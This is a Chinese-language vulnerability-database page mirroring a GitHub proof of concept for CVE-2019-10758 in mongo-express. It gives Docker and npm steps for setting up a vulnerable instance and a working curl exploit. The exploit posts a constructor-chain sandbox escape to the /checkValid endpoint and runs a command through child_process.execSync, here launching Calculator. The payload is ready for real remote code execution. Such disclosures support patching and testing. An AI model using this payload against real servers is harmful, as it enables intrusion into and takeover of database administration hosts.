漏洞平台

POC详情： 5d7d7980962695b6086718129543d614f92c6206

来源

https://github.com/masahiro331/CVE-2019-10758

关联漏洞

标题： mongo-express 安全漏洞 (CVE-2019-10758)
描述：mongo-express是一款用于交互式管理MongoDB数据库的、基于Web的轻量级管理界面。 mongo-express 0.54.0之前版本中存在安全漏洞。攻击者可借助使用toBSON方法的端点利用该漏洞执行代码。

介绍

# CVE-2019-10758 PoC


## Setup

```
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0 
cd node_modules/mongo-express/ && node app.js
```

## cURL exploit
```
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
```

## Script exploit
```
node main.js
```

文件快照


 [4.0K]  /data/pocs/5d7d7980962695b6086718129543d614f92c6206
├── [ 233]  main.js
├── [ 70K]  package-lock.json
└── [ 475]  README.md

0 directories, 3 files

神龙机器人已为您缓存

备注

1. 建议优先通过来源进行访问。

2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。

3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。